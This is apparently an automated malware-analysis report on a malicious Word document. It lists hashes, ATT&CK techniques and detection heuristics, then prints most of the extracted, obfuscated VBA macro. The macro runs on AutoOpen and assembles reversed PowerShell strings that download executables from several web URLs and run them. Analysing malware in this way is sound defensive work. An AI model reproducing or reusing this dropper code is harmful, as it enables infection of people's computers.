Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7cb063a59cb057a9…

MALICIOUS

Office (OLE)

149.5 KB Created: 2018-05-15 07:29:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 703f39165e9780444f8e1d492de99873 SHA-1: 606a5b489480ee747588bdc641590fe0f814a46f SHA-256: 7cb063a59cb057a93608a534b1bbaebe21407748511ca40b3802d848c6d36dbd
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'OLE_VBA_SHELL' heuristic indicates the macro attempts to execute system commands. The 'Autoopen' macro is present, which is a common entry point for malicious VBA code. The presence of 'macros.bas' and the ClamAV detection 'Doc.Dropper.Agent-6544603-0' strongly suggest this file is a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6544603-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6544603-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 119608 bytes
SHA-256: 4f6569d5f289819fecc23a6626955434d23e75c2303ae92f0e714cef63d5ed55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
633 of 1009 identifiers look randomly generated (e.g. 'GiWkanBrFaYwQzVswE'); 13 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XdCAsFf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Zwwljw(WVuDs)
dtwcj = OWudZ
IciLH = vVDENc
pwIMP = dtJuji + Sgn(71781 - JNGfVY - YVqLN + Fix(24725)) - 15221 - CDbl(43028)
ZfUNq = 16183
End Sub
Sub Jiwwa(hwjWkl)
wYsDw = bRBBS
XEVAJ = GAHzB
crYns = rcWOIA + Sgn(75112 - QZhoI - jaCuMz + Fix(43435)) - 97420 - CDbl(57959)
AwXWbE = 84991
YWKpzI = VNsGjT
oYqBo = buItwl
JcRpL = tQmRqb + Sgn(88703 - rkdszR - JwfZQN + Fix(24314)) - 57235 - CDbl(26124)
rOums = 93574
uwaCC = zaujj
iAATh = ilQvTj
YAzMzL = nazwqi + Sgn(14146 - jzVhcS - QquNmO + Fix(22200)) - 75244 - CDbl(97435)
tPdGzN = 90468
End Sub
Sub kXEDB(CsmERa)
DTqkIS = ZlbnwT
Odkjla = rviMp
KtbHV = spwnW + Sgn(83810 - IuzvRE - fnOBXf + Fix(1204)) - 46698 - CDbl(23195)
MXTAc = 60650
URabH = qOpqR
szMHH = WfZjqX
dYbwY = jPqaAi + Sgn(12727 - VYnip - FUYzPL + Fix(29502)) - 10319 - CDbl(942)
laDGdu = 28157
End Sub
Sub Autoopen()
On Error Resume Next
QwlEB = MdAMB
mABoP = zcjNi
OGpZaA = aKXSsz + Sgn(1950 - zmlKC - uzlZP + Fix(82776)) - 37820 - CDbl(89362)
jDRKpv = 68791
wYOsRvwrLPZC (DARawO + EdYfjBd + IrOrAp)
CcWUIE = LJbjXr
bmLWP = iJldz
CQYcct = iBpnVn + Sgn(60776 - rrptYW - hECUl + Fix(79165)) - 29161 - CDbl(86242)
tWZBin = 62456
End Sub
Sub maJNlz(jjMqRv)
ZMjjTZ = IITIw
wOiEEL = HwNGvF
lBcYa = JzMSzT + Sgn(13215 - iSpFnF - UFIlGF + Fix(54446)) - 51820 - CDbl(98268)
oOMVHf = 89649
CkBBME = EzdjXA
zUQvT = UqhWNp
EtWXm = YlUqTt + Sgn(7829 - CHzub - jOsELM + Fix(14682)) - 24503 - CDbl(22783)
foWtj = 20341
FuccWf = zCPmSj
blNfpB = LZnLZ
KiWKT = jtAzzJ + Sgn(69046 - HJzUu - UDCJOr + Fix(16817)) - 17496 - CDbl(88733)
oRzMT = 36407
End Sub
Sub ETaCpa(NVFoKC)
SRwwHb = wciXz
KiMXto = sBTZfc
vslUw = sVAAOM + Sgn(82599 - Irsfp - bfJivW + Fix(48510)) - 68274 - CDbl(32839)
XTiLRD = 81801
End Sub

Attribute VB_Name = "YHnphLIjz"
Sub kKbtp(oQjDZb)
IECdv = fAEAdG
HmzzZO = NzGWd
wXBUnp = pikfiN + Sgn(96480 - KfJzm - aCSld + Fix(20598)) - 5186 - CDbl(8343)
wjzRm = 15745
End Sub
Function EdYfjBd()
On Error Resume Next
kNoJsc = SPMQH
TwYqW = UjjJi
lUmwiv = JLvwJ + Sgn(55464 - zAzVR - vBpBHJ + Fix(90229)) - 30996 - CDbl(75661)
ADJPG = 15175
iwskWY = DJjRjA
AffjkW = lEEHr
uAAbX = JIpOGV + Sgn(84480 - PwnAl - ftESw + Fix(25098)) - 85246 - CDbl(69596)
tocfWk = 6879
pGHoPXmr = ChkBM("0ajTYjH+';)CD'+'S'+'3'+'7'+'Pj()'+'zNJ'+'me'+'tI-'+'ezNJ+zNJkzNJ+zNJovnIz'+'NJ'+'('+'&;'+')CDS'+'37P'+'j'+' ,)(b'+'Hdg'+'N'+'Ggkks", 45294 + 3 - 45294, 45294 + 121 - 45294)
IuFrm = QYKsG
mRDWZW = viiKi
Pvadp = fMpiG + Sgn(61996 - tiotlU - wGbkGG + Fix(99928)) - 68845 - CDbl(15743)
ijWSXQ = 80794
PdiQGV = ZfzhEZ
NkRQP = wICpsQ
wSIBz = IWzzZ + Sgn(529 - KQwtCv - doVKi + Fix(29384)) - 19615 - CDbl(60008)
bsYqE = 98996
fQZvw = ChkBM("Lz]RAhC[,'37Pj' ecalPEr-69]RAhC[,)17]RAhC[+301]RAhC[+701]RAhC[+78]RAhC[(ecalPEr- )'}'+'}'+'{'+'hctac};k'+'a'+'erb'djBa", 90678 + 5 - 90678, 90678 + 112 - 90678)
WvimR = QmrPkh
MInwqn = wzTjI
QVEBJa = IZwUJ + Sgn(16398 - XiTSfc - uSFbzQ + Fix(79681)) - 20662 - CDbl(48258)
wdnPui = 80162
lrjSB = uchKp
ROQWED = UqhET
jtmKXI = zYdEPi + Sgn(45482 - tUaDRW - mYMWzr + Fix(49140)) - 39675 - CDbl(9123)
PXRMHR = 19092
wPVWlQX = ChkBM("47+';)3312'+'82 ,'+'00001(tx'+'en.ds'+'adas'+'n37Pj = BS'+'N3'+'7Pj;tn'+'e'+'ilCbeW.te'+'N.m'+'et'+'syS )'+'zRIcY%", 11808 + 6 - 11808, 11808 + 107 - 11808)
JotkL = VfqbW
BBYoH = wBLoX
YRzLG = lDQBI + Sgn(64882 - BMFAR - wwzlO + Fix(98838)) - 55257 - CDbl(9463)
TIqURp = 22713
BJANH = bFCdq
TKzXwP = QjGjww
aLQVF = IuvYib + Sgn(96633 - zKhQU - sGcww + Fix(315)) - 38097 - CDbl(42921)
udEQnw = 31089
JwsJqlBLzlj = ChkBM("QaN't'+'th@/BxuenU/s'+'w.sawa//:'+'p'+'tth '+'zNJ ='+' XC'+'DA37Pj'wwKt", 89407 + 5 - 89407, 89407 + 64 - 89407)
jXuoZO = pVRhS
ZPbsb = jUZFc
PBviKK = hVAtZ + Sgn(30924 - sDHbi - DFUOcY + Fix(23435)) - 59120 - CDbl(62876)
HSSBK = 25418
iQJlpb = uUAtjf
vJwfnr = BizOz
iGHwra = uCqvG + Sgn(64628 - NlkJwP - SowZc + Fix(81818)) - 51773 - CDbl(64487)
MWswHn = 26657
WGSUWa = ChkBM("riHuV63N", 55704 + 2 - 55704, 55704 + 2 - 55704)
CIfjt = CYGIG
wnRhM = SIWOk
MTiYO = baXjHo + Sgn(69379 - ZVvBWh - RkYEK + Fix(69000)) - 85737 - CDbl(40041)
hoYFX = 48702
rvfhbn = tdhKz
lhBPA = jMtkO
uhGTl = aUQNY + Sgn(38177 - ziqUpm - PosIBz + Fix(37460)) - 30099 - CDbl(63240)
wLRYjF = 29626
zmJsH = ChkBM("wwc.yhr'+'tolra'+'c'+'//:'+'ptth@/nCC'+'Sj'+'/moc.e'+'traekoh'+'ci'+'tra'+'/'+'/:ptth'+'@/SNUdU/'+'ed.nilre'+'b-e'+'t'+'eo'+'lf//'+':'+'p'+Bh%zA", 76896 + 6 - 76896, 76896 + 137 - 76896)
sZkir = JhXDV
sDwjtG = wSloKo
ONCTQY = uzMukz + Sgn(38845 - UbPuro - MhfaQQ + Fix(14636)) - 12552 - CDbl(71115)
qHJwi = 9156
bRXMsd = PLAdVH
GfJYjZ = ZHwlU
JQqZI = UizZb + Sgn(22997 - VvINqo - djPJwX + Fix(9975)) - 23399 - CDbl(4807)
ZbXdk = 97752
EDidNY = ChkBM("MzNBclzq)I", 74872 + 2 - 74872, 74872 + 1 - 74872)
bUKmz = GhMAE
QuIwf = dAjck
IfqAz = DkwomV + Sgn(57883 - faJck - AtmPQ + Fix(59203)) - 84140 - CDbl(10636)
wowkF = 58930
fmXsi = GIikZ
QhOYIq = hilcq
joaSIk = Taajc + Sgn(45061 - WPDsOQ - LlnUzm + Fix(49174)) - 12737 - CDbl(52726)
Kjszff = 81294
rAcWa = ChkBM("kKd'+'WiG'+'gkWr'+'t'+'SoTbHd.cfs'+'a'+'37Pj(bHd'+'elGgk'+'W'+'IFdaOG'+'gkWlnWGgk'+'WoDbHd'+'.'+'UYY'+'37'+'P'+'j{yr'+'t{)XC'+'D'+'A37Pj ni cfsa'+'37Pj(hca'+'e'+'rof;'+')zNJe'+'z KZkqd", 33256 + 7 - 33256, 33256 + 175 - 33256)
zOXqHi = kBzRit
aTYCn = KwlMwf
vfprj = SOCIV + Sgn(57877 - YNkco - BvGYbc + Fix(85207)) - 85078 - CDbl(30894)
dKrbF = 724
CjbELo = cMIad
iBLjA = jlRdwh
SstEH = iNupI + Sgn(89508 - kQzoh - JCoCV + Fix(43521)) - 84227 - CDbl(82581)
slFfXp = 43060
sYDjd = ChkBM("mmotwN'+'Jtc'+'ej'+'b'+'o'+'-zNJ+'+'zNJ'+'w'wk", 10889 + 3 - 10889, 10889 + 39 - 10889)
iIASv = oMCpw
Smcwi = SdqXh
QIVIj = XMOEQj + Sgn(62999 - NAzpTh - cHFIJz + Fix(98244)) - 44367 - CDbl(85530)
LalCn = 63523
fnjVj = HOwjjf
BoKCVL = ORWaSE
EfwoB = hlrVW + Sgn(19161 - WQTKn - zwUdH + Fix(29763)) - 3149 - CDbl(24755)
ORGDfj = 5213
jpFBrpdh = ChkBM("Cjo'lbup'+':v'+'ne37'+'Pj ='+' CDS37Pj;)'+'zN'+'J@'+'zNJ(tilpS.zNJ/'+'5w2'+'p'+'p'+'h/t'+'e'+'n'+'.'+'sulpsva//'+':p'+'tth@/'+'gzGLbT'+'Z/'+'z'+'1XC", 60598 + 4 - 60598, 60598 + 142 - 60598)
BridFP = pfLAbw
LmFGGj = oZApp
aOSii = hSSIj + Sgn(85462 - XobDAk - PFUzYZ + Fix(36076)) - 62318 - CDbl(23813)
ioPrW = 50024
uvDui = DzLKG
jWvOW = ITrwZ
wUAwK = zLsaz + Sgn(61883 - MjUpA - abJPb + Fix(7400)) - 11604 - CDbl(10849)
QoNvV = 69058
jsJEJ = ChkBM("jA)93]RAhC[,'zNJ'ecaLPErc-29]RAhC[,)28]RAhC[+911]RAhC[+55]RAhC[(  ecalPEr- 43]RAhC[,)89]RAhC[+27]RAhC[+001]RAhC[(ecaLPErc-KXm1j6", 25221 + 7 - 25221, 25221 + 120 - 25221)
OFFoDK = IJZOBJ
oiriws = FZuECu
DNBKcN = OjLMQ + Sgn(60733 - FBoEv - bKWNX + Fix(82754)) - 23718 - CDbl(18081)
KjBQAF = 92660
ZzbTt = GzjEs
tFzLt = iGvmUM
OpbQiG = SiUKPC + Sgn(18119 - ckElDB - BTFkLT + Fix(85625)) - 24174 - CDbl(75070)
PiiZih = 3216
bGnMtlCM = ChkBM("Ot6zKtz+'zNJ+'+'zN'+'Je'+'nzNJ'+'(. = UYY'+'3'+'7Pj;modnar'+' )z'+'NJtzN'+'J+zNJcejbo-wzNJ+zNJe'+'z'+'N'+'J'+'+zNJnzNJ(& ='+' dsadasn37Pj'(( ()'x'+]31[diLLEhs$+]1[DilLEhs$ ( &dH", 47422 + 3 - 47422, 47422 + 168 - 47422)
FBOknw = ijdLij
jmnIK = uTZShh
TiYzCD = zANRjJ + Sgn(87768 - mOBEtG - rlWWDD + Fix(72456)) - 52380 - CDbl(92623)
FwWAI = 61763
jKzvH = loIIU
IdQul = FJGtfS
BnHXd = ztwYR + Sgn(62408 - rBXTs - MQuwHI + Fix(6966)) - 1924 - CDbl(99361)
Rmijp = 11821
nOYbAnffA = ChkBM("uvj'+'NJ'+'+zNJx'+'e'+'.zNJ'+'( +'+' BSN37'+'Pj +'+' zNJ'+'Rw7z'+'N'+'J'+' '+'+ '+'ci'+@O0", 16237 + 4 - 16237, 16237 + 84 - 16237)
iRiCX = KFwNU
DmmBz = pGoAO
Ezijl = zbljtC + Sgn(27070 - prktJu - vvYilf + Fix(52925)) - 501 - CDbl(99196)
dCFzZq = 55945
LOtUX = kmVPzV
rTqJBJ = zHXbl
PzJjPB = Yzjpb + Sgn(46368 - twKLDd - mjOoYj + Fix(51183)) - 39243 - CDbl(7350)
SiYild = 78890
UlNmZElruC = vNWtnBi + """" + iIBwMYHOcPu
rUhEtq = szAIU
LHQOt = MGuCST
iubJC = jzIaj + Sgn(34861 - wfpddA - bAQrAi + Fix(38331)) - 66685 - CDbl(72010)
SPlnMc = 32922
EdYfjBd = wnlYDjjwuzhQR + OwzaODGmEBi + RnfddjJTBA + WjKQOTbhRw + UlNmZElruC + LIRjMkCY + bGnMtlCM + sYDjd + wPVWlQX + JwsJqlBLzlj + zmJsH + jpFBrpdh + nOYbAnffA + rAcWa + pGHoPXmr + fQZvw + WGSUWa + jsJEJ + EDidNY
iMuDzk = DoUBU
tzwHiw = jfllMr
SPhOi = dtFscf + Sgn(86493 - Fijwqf - UiEBD + Fix(83306)) - 13993 - CDbl(98192)
JqGMpo = 12692
End Function
Sub ThQEz(YzPNHY)
jNskw = ikrYAv
vutzN = pkfoB
wJRBrv = rSjmKZ + Sgn(32794 - cfcIP - awdGQ + Fix(1007)) - 99711 - CDbl(66638)
EYrtAa = 25431
AdNEDO = iawlM
DjliX = oubvn
ibNTf = wPvbf + Sgn(3064 - WiVYp - OVfBs + Fix(11278)) - 22824 - CDbl(54121)
YoZha = 90616
End Sub

Attribute VB_Name = "muOufozJbB"
Sub jlRYabNdOc()
On Error Resume Next
iBiTWl = YnDaVN
oiqHC = bIAvbJ
ZZYVaq = haiFR + Sgn(76428 - BHSMYB - qFGCYE + Fix(17260)) - 40775 - CDbl(829)
rNqRwO = 65102
End Sub
Function WjKQOTbhRw()
On Error Resume Next
irlOA = pOGZAi
CHTiUS = BmMMa
NEzZDt = LtJpcF + Sgn(40202 - JwjUR - pFWiiv + Fix(28218)) - 98180 - CDbl(85342)
ZnAXkR = 63408
aCHJEb = wlsrVC
EjQSF = OAuBI
VfcDB = pnPGGD + Sgn(49705 - KHMkjM - oKTvd + Fix(46434)) - 20000 - CDbl(52082)
IGBhFI = 42589
nWBlXUpcuH = ChkBM("N9uHaqzWP% tes&&brdsKi", 76409 + 5 - 76409, 76409 + 13 - 76409)
rufPnw = MsNwGn
RvSjV = IXZfM
wzCsmB = ftphpB + Sgn(22769 - jkKNUn - pFOYnN + Fix(48946)) - 38171 - CDbl(40720)
DwAaKA = 51306
laFsM = bGLCLN
nDdrD = vSfBB
cjTbiR = isuVz + Sgn(97055 - hPUntn - HKosav + Fix(89852)) - 92748 - CDbl(3770)
ZENkP = 14853
rbLlC = ChkBM("9fHG%jpEj", 89329 + 3 - 89329, 89329 + 3 - 89329)
clDjit = jsHcjz
HNqVZi = HWNiqo
tkLRHp = IkFcQ + Sgn(12916 - inRPE - RqXOp + Fix(55278)) - 94512 - CDbl(39969)
pAnFl = 75078
aRuNCW = fPojsX
hoMjFS = BivoDG
lswSZ = TwzrfJ + Sgn(31118 - nISwR - HGBHWH + Fix(26958)) - 47259 - CDbl(75150)
ZwQatW = 85733
vlMZmazj = ChkBM("i%tO11WwZVkn%!&&ll=%izrYE", 14966 + 4 - 14966, 14966 + 16 - 14966)
Tkdiq = BvCOO
cplbF = rovRZv
wSjsp = QPEfh + Sgn(2407 - PjGaF - KRVjMp + Fix(42071)) - 28070 - CDbl(59829)
SCKiX = 84050
jfJLo = MRoomm
XJMkY = hAPLsb
JGoaB = WYtjJ + Sgn(78615 - PRvGz - ulHiTL + Fix(46892)) - 38450 - CDbl(62649)
TTQkh = 38480
lNjXvdEfjUI = ChkBM("OIIKCqjjjOBUMopfT%d2", 3448 + 3 - 3448, 3448 + 11 - 3448)
cOnOP = dZCvOj
EJOwj = CYVOc
qAZPt = cvMSs + Sgn(20133 - fniJRP - kQTKF + Fix(34470)) - 8243 - CDbl(21476)
hGzKL = 49147
Icwpj = JtHbF
lzafF = nHWwzH
wCGXwW = STqEui + Sgn(49942 - QiwXp - LPVvn + Fix(66464)) - 50902 - CDbl(83857)
KdpFnK = 4692
DJXmN = ChkBM("FfEH.zs&&CDQO", 95412 + 4 - 95412, 95412 + 4 - 95412)
IFTGR = VkbNb
sCcRPk = lcLnLa
jbFYm = OInRV + Sgn(25551 - GzKMVz - GIBXq + Fix(6244)) - 46111 - CDbl(32846)
zRHjwc = 88918
jHuWlR = rASaQY
inCdtD = jtSUp
pHbJFo = lpaVKN + Sgn(60137 - KPucdu - CVIGp + Fix(16994)) - 5403 - CDbl(26484)
BvSwkY = 17296
sUoMA = ChkBM("B,L%!%izIO64", 60113 + 4 - 60113, 60113 + 5 - 60113)
cwAsM = TjYoVd
sMEmF = AzzRi
zTOuhw = GazfuK + Sgn(80574 - paRUhk - JjNLi + Fix(37533)) - 15888 - CDbl(40876)
jRQNNE = 72893
PBIaQ = TLZLj
CipPu = WzcOV
nNMuc = ubiXD + Sgn(43341 - vSVPbP - ACTZp + Fix(49910)) - 97532 - CDbl(21628)
nZAjw = 75109
dlQJA = ChkBM("fkEkQasFRqBGmrrMLC% 7XO", 82805 + 4 - 82805, 82805 + 15 - 82805)
zZiPR = VibSj
AAjBwG = ktmFC
jUvzC = mIOVqs + Sgn(99259 - shozWt - KGDYBZ + Fix(71114)) - 3988 - CDbl(18232)
TjFhn = 50515
jHBllo = HiYAA
GWrGnS = ZEBGHz
qIpzw = LJdfkl + Sgn(16012 - kjYwQ - DjJiv + Fix(84537)) - 2044 - CDbl(51025)
GudnaK = 98778
HNXjDiZimV = ChkBM("XCsSHZVPQ=%dHs.kLo", 62850 + 5 - 62850, 62850 + 11 - 62850)
YEaXwt = WBKso
cJrtL = wLEEY
iWkGwh = lvzsqj + Sgn(12782 - wHthIm - dlmtP + Fix(1803)) - 1729 - CDbl(55890)
zBmRW = 51073
fkZHNj = WPEFrn
wsvDRf = vXLvb
NoMcY = lvKZC + Sgn(84223 - NaJIOY - jPbVD + Fix(96940)) - 3814 - CDbl(77418)
MNLmMf = 65483
jURMKPjkJE = ChkBM("GnM% tes&&eh06mTdN", 30300 + 7 - 30300, 30300 + 9 - 30300)
bhbBA = TtLiSd
PwXKrz = qYZOz
wLqFW = sGjhzP + Sgn(60288 - HbsPjL - wRocUi + Fix(39096)) - 23611 - CDbl(5864)
MDpnI = 7100
nwtlJz = dCuPF
VHsNNh = PYzmj
FapCE = uXOhSz + Sgn(5994 - zJnpGY - VnORz + Fix(27707)) - 68745 - CDbl(53576)
wGCCs = 61440
uskXtpPqmjd = ChkBM("Ud3OOitYWCwzvWwL% tesl", 12858 + 2 - 12858, 12858 + 14 - 12858)
zqjLNG = aOJsGF
IfKkjn = kERKvz
LwAwTW = zXMION + Sgn(78523 - pVcWi - arSIsN + Fix(27465)) - 71847 - CDbl(34595)
SHrOR = 18730
twVXwa = OdNMm
HDcPP = nwbIzo
AjLEs = DTspqj + Sgn(29034 - iIOYZ - CDoWs + Fix(36432)) - 12253 - CDbl(8172)
SoWilZ = 40034
TwJvVj = ChkBM("6zRQ7w%!!%TEijjOBUMopfTo", 94180 + 2 - 94180, 94180 + 18 - 94180)
ZUkiw = NliAS
pMjZP = zuoLZ
ziaBT = duKFpD + Sgn(79617 - FoalKS - vvFEzT + Fix(54883)) - 55234 - CDbl(49868)
NvOiO = 78361
ZHjbzi = ORudQf
XRbHjQ = wFdNLz
lfMYwh = nXtJjO + Sgn(64126 - OnvdH - JiLWL + Fix(98932)) - 52427 - CDbl(4854)
NmiEd = 73534
BiXXX = ChkBM("um39ApNzhPOG%!!%CZPGnH", 23977 + 4 - 23977, 23977 + 15 - 23977)
FRzJku = wzCFrr
ShsObz = BmiOl
fXEJD = fhdfz + Sgn(54622 - ANWJu - LPvEmp + Fix(4494)) - 78573 - CDbl(63523)
fPuwc = 4865
QKoFFw = mELfdz
sXnbRQ = vRsrV
fAwiqs = IoBHY + Sgn(86964 - FDNUXD - DsnVL + Fix(99526)) - 49543 - CDbl(39787)
vNkGIl = 12710
bVzzStmijw = ChkBM("CBlPE mPE,", 51898 + 5 - 51898, 51898 + 1 - 51898)
olzkDW = CYSvrE
URWcI = Ifscn
GtomoT = ffmGjz + Sgn(42486 - Smhic - WtSkjd + Fix(91429)) - 48020 - CDbl(17928)
UwIPmN = 72380
XFNPB = ZhNRjP
zGYizR = IzZZa
Lazdi = pjvRa + Sgn(18013 - wGCYZX - oszPfH + Fix(74752)) - 72138 - CDbl(2724)
fnptiz = 65969
EFzur = ChkBM("IE% tes&&ii5%Q39qU", 56206 + 8 - 56206, 56206 + 9 - 56206)
nTZECo = ZAVFGZ
CtTSa = zXdDiU
nUDSGT = mDHjqL + Sgn(35803 - GQfvB - kwZLYz + Fix(72805)) - 30352 - CDbl(81985)
WhBJF = 92820
NoXYl = Xioiv
CTsPP = jYAKTR
bEsfF = LEpTd + Sgn(49950 - jZUCLs - qFWNi + Fix(53133)) - 76851 - CDbl(37167)
QDVGV = 20777
qkGjdF = ChkBM("z5M&&w^o=%dBjfk%iHzK", 7373 + 7 - 7373, 7373 + 11 - 7373)
iCiZk = MAOqY
KDzwa = NVifwi
rmZQI = WVVqz + Sgn(56669 - mftVw - DdJNTF + Fix(89638)) - 23007 - CDbl(14847)
VzGEJs = 46613
abDpSr = qvmiI
NzIQf = iRonpz
iiVFXw = wzRKwq + Sgn(94441 - NzMjRz - oYHTh + Fix(88142)) - 37588 - CDbl(73612)
OpcItV = 81730
hkzah = ChkBM("N3%TEi%iMmd", 75628 + 6 - 75628, 75628 + 4 - 75628)
mhbPi = TpjhDo
JisVqw = EPjdLd
HNoCrJ = tkVzGa + Sgn(76601 - wLPzNF - jnDYs + Fix(21956)) - 43471 - CDbl(1055)
DFCLbu = 59524
hRhzSE = DLMQGJ
KCqww = liEAP
rbtJMU = IzbhsZ + Sgn(17485 - ZYlRQ - mzupB + Fix(90295)) - 8201 - CDbl(99851)
NjkbMK = 21050
DDuimvCW = ChkBM("0w1pRsOYOLI3", 23471 + 5 - 23471, 23471 + 4 - 23471)
zwaBE = UzYnzL
SjwmF = wTLZbI
OAIwwD = VlVqD + Sgn(65416 - ZrcHF - ovzloH + Fix(67300)) - 23768 - CDbl(67429)
WwtFUT = 79085
vEFwP = rsOliv
klPhzv = UKjpJU
ZFPwiw = WLwfiX + Sgn(84954 - DnLTd - ukfiQZ + Fix(96436)) - 70628 - CDbl(45404)
muwRn = 98982
PlEqYp = ChkBM("HO%dBjfYdE%!=rjuL", 50494 + 5 - 50494, 50494 + 11 - 50494)
AwqOaT = SYnwH
dqrsiU = SSXAlo
skZajD = LUmaUR + Sgn(57448 - rlzdi - wCFmSQ + Fix(43031)) - 66064 - CDbl(52938)
clmJhw = 24530
cMVCF = GlIdOz
JRjwqT = qanad
mBUrQw = znFTZ + Sgn(5498 - UmcwSM - YIsXtN + Fix(16593)) - 19729 - CDbl(5144)
uYdqF = 33232
oiuUbjmovZU = ChkBM("WVq7w% tes&&wESXPMj=HGB", 29042 + 4 - 29042, 29042 + 16 - 29042)
NPloW = MZnbh
zoHRw = sbUWl
nkjZA = APVLk + Sgn(5766 - oCwjzG - bGFkmH + Fix(60178)) - 57592 - CDbl(24029)
zrifBl = 60963
MPEcY = mlnTs
TLhttX = sWvWB
walsd = qdLtU + Sgn(90678 - wCdQk - ozDhzI + Fix(6832)) - 2179 - CDbl(69222)
mRsDHZ = 53871
jiFqqw = ChkBM("7G.hIS I,", 74837 + 3 - 74837, 74837 + 1 - 74837)
sJRCR = SMwqb
OFKjN = vtnka
GAZbc = wWadXa + Sgn(49201 - ivPlKN - jPjGM + Fix(82110)) - 71628 - CDbl(59073)
MIjQwR = 66274
JlNMmG = VURkXC
wjHRIj = JcaswH
biBZv = LUWBw + Sgn(27955 - WcUmPC - aLzDw + Fix(25432)) - 37862 - CDbl(1201)
mTowY = 88575
AhhWVfvJi = ChkBM("EICJcYdE%uo3O", 82014 + 5 - 82014, 82014 + 4 - 82014)
QKbfUc = FTuzH
Indvkj = jzaiD
LjhKP = cqDbn + Sgn(45682 - wwtkE - LUAwq + Fix(84752)) - 26823 - CDbl(79221)
CSktbJ = 31553
wVRmaf = SNacio
zMAbdS = srBRt
SlYGr = oqGzub + Sgn(76475 - dONaQf - zdKkkf + Fix(79087)) - 12851 - CDbl(58812)
UhKKh = 78518
VoBms = ChkBM("j1XEildNOSdH%!!%VfWPwaUX", 55099 + 3 - 55099, 55099 + 16 - 55099)
llAwr = GApbY
dbANXU = OVGNz
cjZtdj = ZtoiiB + Sgn(12956 - DjvDQ - BoTTnp + Fix(49574)) - 51266 - CDbl(97683)
XAMPch = 13039
HpYOnj = psLkDG
wMEhTb = iflFjb
rNVXi = UrwpSW + Sgn(15369 - WtvTwu - PwOOi + Fix(34230)) - 47043 - CDbl(19900)
JHHczi = 81234
SKSCNmA = ChkBM("aR1buFk%%!!%KwhkIZl@", 23737 + 2 - 23737, 23737 + 11 - 23737)
YPZEO = OzTmM
qmjjsb = GIwYw
MjLOfp = DjujVH + Sgn(2837 - AQOiLY - XXakVO + Fix(68102)) - 7651 - CDbl(54866)
dXChCj = 77904
rzTMb = ljDwcM
HwzTz = Anlzw
vwYwF = XICVTi + Sgn(28101 - ZZbIu - OXKbwE + Fix(428)) - 41734 - CDbl(36163)
FAVBjl = 25738
JnJHLIjPMQ = ChkBM("Hi1PwGCLQr%!!%aMdUb,6N0k", 95110 + 6 - 95110, 95110 + 16 - 95110)
wEEEDm = OFrvaM
EIzXmw = AtBpTP
NNZnM = JpkJUY + Sgn(97741 - zIarWc - MEJzQh + Fix(97016)) - 21674 - CDbl(5074)
jWIBs = 35670
sICct = EGiwT
hYmAK = AvwYpa
kEfSv = EspquP + Sgn(82071 - ujjNT - CzUIHK + Fix(96178)) - 56409 - CDbl(92033)
TTcRI = 17306
SkdCs = ChkBM("KcHuLjr.", 13957 + 6 - 13957, 13957 + 1 - 13957)
ojEPM = iskTjG
PLWiI = kWLlvb
cWbnZF = HvdOcq + Sgn(14777 - PXrRWj - IwuIYY + Fix(4426)) - 55731 - CDbl(96201)
oPPLQ = 94598
bllJc = ZEbGcM
UvuUb = kXzKD
bGqiFk = vzBIW + Sgn(88054 - aiMQi - vrdsHY + Fix(49654)) - 28773 - CDbl(10343)
dbhWBV = 66007
cbjjKuO = ChkBM("@8wKFIaimaobQCdwF% testn4", 88490 + 4 - 88490, 88490 + 17 - 88490)
WWSRW = nXaCw
KhfJr = dzahKv
SYjoWX = wqtIb + Sgn(57951 - KFkzX - wWvwY + Fix(60848)) - 33480 - CDbl(83517)
woLXbD = 87477
VJXYDo = oAYKT
BahhW = pcZBOI
XzQOf = jOuOvn + Sgn(38352 - fmhASq - ATHIXR + Fix(26154)) - 33197 - CDbl(93411)
JQwRV = 44599
nawEMcsEB = ChkBM("GiWkanBrFaYwQzVswE=%jKF4", 13695 + 3 - 13695, 13695 + 15 - 13695)
sZmuGM = tCzKpr
vRRXi = GITSz
HmXVaJ = vHsDt + Sgn(87490 - WPUSD - FFNwjt + Fix(82759)) - 27556 - CDbl(60648)
GUwIFz = 42181
YbahfW = zzvwA
aiotG = WzNqzz
EjOLJJ = jBDwjz + Sgn(8565 - YRCAG - vEAUhz + Fix(87522)) - 3806 - CDbl(22096)
dkoRpj = 72246
WrjmGi = ChkBM("UQCzstes&&p=%FkjCLZHvNn", 61912 + 2 - 61912, 61912 + 17 - 61912)
oYjZbs = GdzYv
wqwJbN = bKihpR
wKmip = PMiLVd + Sgn(16362 - aWudP - jusHNV + Fix(89741)) - 21847 - CDbl(58175)
BjJYMw = 81209
